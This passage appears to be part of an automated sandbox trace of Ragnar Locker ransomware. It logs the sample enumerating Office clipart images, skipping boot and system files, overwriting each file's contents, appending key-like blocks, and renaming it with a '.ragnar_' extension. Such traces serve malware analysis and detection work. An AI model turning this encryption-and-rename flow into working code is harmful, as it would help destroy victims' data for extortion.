(hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.762] GetProcessHeap () returned 0x580000 [0087.762] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.762] CloseHandle (hObject=0xf4) returned 1 [0087.762] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" [0087.762] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.ragnar_FD7BD9FC" [0087.762] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.763] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x27d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341328.JPG", cAlternateFileName="")) returned 1 [0087.763] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.763] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341328.JPG" | out: lpString1="J0341328.JPG") returned="J0341328.JPG" [0087.763] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG") returned=".JPG" [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="autorun.inf") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="boot.ini") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="bootfont.bin") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="bootsect.bak") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="bootmgr") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="bootmgr.efi") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="bootmgfw.efi") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="desktop.ini") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="iconcache.db") returned 1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="ntldr") returned -1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="ntuser.dat") returned -1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="ntuser.dat.log") returned -1 [0087.763] lstrcmpiW (lpString1="J0341328.JPG", lpString2="ntuser.ini") returned -1 [0087.764] lstrcmpiW (lpString1="J0341328.JPG", lpString2="thumbs.db") returned -1 [0087.764] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.764] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.764] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.764] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.764] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.764] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.764] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg")) returned 0x20 [0087.765] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.765] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10196) returned 1 [0087.765] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.765] GetProcessHeap () returned 0x580000 [0087.765] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.765] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.766] VirtualAlloc (lpAddress=0x0, dwSize=0x27d4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.766] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.767] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x27d4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x27d4, lpOverlapped=0x0) returned 1 [0087.767] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.767] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x27d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.767] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x27d4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x27d4, lpOverlapped=0x0) returned 1 [0087.768] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x27d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.768] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.768] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x27d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.768] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.768] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.768] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.768] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.768] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.768] GetProcessHeap () returned 0x580000 [0087.768] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.768] CloseHandle (hObject=0xf4) returned 1 [0087.768] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" [0087.768] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.ragnar_FD7BD9FC" [0087.768] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.769] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341344.JPG", cAlternateFileName="")) returned 1 [0087.769] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.769] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341344.JPG" | out: lpString1="J0341344.JPG") returned="J0341344.JPG" [0087.769] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG") returned=".JPG" [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="autorun.inf") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="boot.ini") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="bootfont.bin") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="bootsect.bak") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="bootmgr") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="bootmgr.efi") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="bootmgfw.efi") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="desktop.ini") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="iconcache.db") returned 1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="ntldr") returned -1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="ntuser.dat") returned -1 [0087.769] lstrcmpiW (lpString1="J0341344.JPG", lpString2="ntuser.dat.log") returned -1 [0087.770] lstrcmpiW (lpString1="J0341344.JPG", lpString2="ntuser.ini") returned -1 [0087.770] lstrcmpiW (lpString1="J0341344.JPG", lpString2="thumbs.db") returned -1 [0087.770] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.770] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.770] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.770] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.770] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.770] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.770] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg")) returned 0x20 [0087.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.771] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11485) returned 1 [0087.771] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.771] GetProcessHeap () returned 0x580000 [0087.771] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.771] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2cdd, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.773] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.773] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2cdd, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2cdd, lpOverlapped=0x0) returned 1 [0087.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.774] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2cdd, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.774] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2cdd, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2cdd, lpOverlapped=0x0) returned 1 [0087.774] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2cdd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.774] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.774] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2cdd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.774] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.774] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.774] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.774] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.774] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.774] GetProcessHeap () returned 0x580000 [0087.775] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.775] CloseHandle (hObject=0xf4) returned 1 [0087.775] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" [0087.775] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.ragnar_FD7BD9FC" [0087.775] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.775] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341439.JPG", cAlternateFileName="")) returned 1 [0087.775] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.775] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341439.JPG" | out: lpString1="J0341439.JPG") returned="J0341439.JPG" [0087.775] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG") returned=".JPG" [0087.775] lstrcmpiW (lpString1="J0341439.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.775] lstrcmpiW (lpString1="J0341439.JPG", lpString2="autorun.inf") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="boot.ini") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="bootfont.bin") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="bootsect.bak") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="bootmgr") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="bootmgr.efi") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="bootmgfw.efi") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="desktop.ini") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="iconcache.db") returned 1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="ntldr") returned -1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="ntuser.dat") returned -1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="ntuser.dat.log") returned -1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="ntuser.ini") returned -1 [0087.776] lstrcmpiW (lpString1="J0341439.JPG", lpString2="thumbs.db") returned -1 [0087.776] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.776] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.776] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.776] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.776] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.776] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.776] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.776] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg")) returned 0x20 [0087.776] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341439.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.777] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19565) returned 1 [0087.777] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.777] GetProcessHeap () returned 0x580000 [0087.777] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.777] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.778] VirtualAlloc (lpAddress=0x0, dwSize=0x4c6d, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.778] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.778] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c6d, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4c6d, lpOverlapped=0x0) returned 1 [0087.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.780] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c6d, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.780] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c6d, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4c6d, lpOverlapped=0x0) returned 1 [0087.780] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c6d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.780] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.780] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.780] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.780] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.780] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.781] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.781] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.781] GetProcessHeap () returned 0x580000 [0087.781] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.781] CloseHandle (hObject=0xf4) returned 1 [0087.781] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG" [0087.781] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341439.JPG.ragnar_FD7BD9FC") 